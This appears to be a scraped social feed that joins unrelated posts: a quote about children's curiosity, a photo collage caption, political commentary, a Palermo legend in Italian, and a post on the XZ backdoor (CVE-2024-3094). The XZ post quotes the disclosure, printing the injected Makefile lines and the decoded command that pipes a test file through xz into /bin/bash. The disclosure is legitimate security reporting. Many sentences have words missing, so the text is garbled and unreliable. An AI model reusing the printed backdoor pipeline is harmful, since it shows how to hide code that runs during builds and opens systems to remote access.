"You go talk to kindergartners or first-grade kids, you find a class full of enthusiasts. They ask deep questions. They ask, "What is a , why do we have , why is the round, what is the birthday of the , why is ?"These are profound, important . They just right out of them.You go talk to 12th graders and there's none of that. They've become .Something terrible has happened between kindergarten and 12th grade."

Doors and windows of the world.

This collage is one of my favorite.
I'm obsessed with photos of doors and windows and I have now a large collection from all over the world. I selected the most beautiful and colorful ones for this collage.

As renders our uninhabitable, erupts in more regions of our , and rushed new technologies are appropriated by billionaire sociopaths, each of us will invariably be affected, and drawn to face impossible dilemmas and difficult ethical decisions.

If you haven't started yet, now is probably the time to learn as much as we can, especially about ourselves, our societies, lessons from , and work on our skills to persevere with empathy, altruism and kindness.

Two things mustn't be allowed to happen:

  1. mustn't be allowed to redraw 's borders.
  2. mustn't be allowed to take / or expel the Palestinians from their lands.

If the US/West fail to stop these 2 things, then the right of conquest, which became illegal after the end of WW2 according to UN intl law, will be normalized again. And if that happens, then the world will head towards WW3. It'll encourage copycats to do the same thing.

La leggenda del coccodrillo al mercato della Vucciria di Palermo.

Tra le tante leggende palermitane, non mancano le storie legate a fatti misteriosi, intriganti e suggestivi, come quella del coccodrillo che divorava i bambini che giocavano vicino alle fontane del mercato della Vucciria a Palermo.

Looks like we have a new vulnerability (backdoor):

XZ Struck By Malicious Code That Could Allow Unauthorized Remote System Access

Red Hat today issued an "urgent security alert" for Fedora 41 and Fedora Rawhide users over XZ. Yes, the XZ tools and libraries for this compression format. Some malicious code was added to XZ 5.6.0/5.6.1 that could allow unauthorized remote system access.Red Hat cites CVE-2024-3094 for this XZ security vulnerability due to malicious code making it into the codebase. I haven't seen CVE-2024-3094 made public yet but the Red Hat security alert sums it up as…

From this mailing list thread:

Compromised Release Tarball

[quote]One portion of the backdoor is solely in the distributed tarballs. For easier reference, here's a link to debian's import of the tarball, but it is also present in the tarballs for 5.6.0 and 5.6.1:

salsa.debian.org/debian/xz-uti…

That line is not in the upstream source of build-to-host, nor is build-to-host used by xz in git. However, it is present in the tarballs released upstream, except for the "source code" links, which I think github generates directly from the repository contents:

This injects an obfuscated script to be executed at the end of configure. This script is fairly obfuscated and data from "test" .xz files in the repository.

This script is executed and, if some preconditions match, modifies $builddir/src/liblzma/Makefile to contain

am__test = bad-3-corrupt_lzma2.xz
...
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
...
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

which ends up as

...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "	 -_" " 	_-" | xz -d | /bin/bash >/dev/null 2>&1; ...

Leaving out the "| bash" that produces
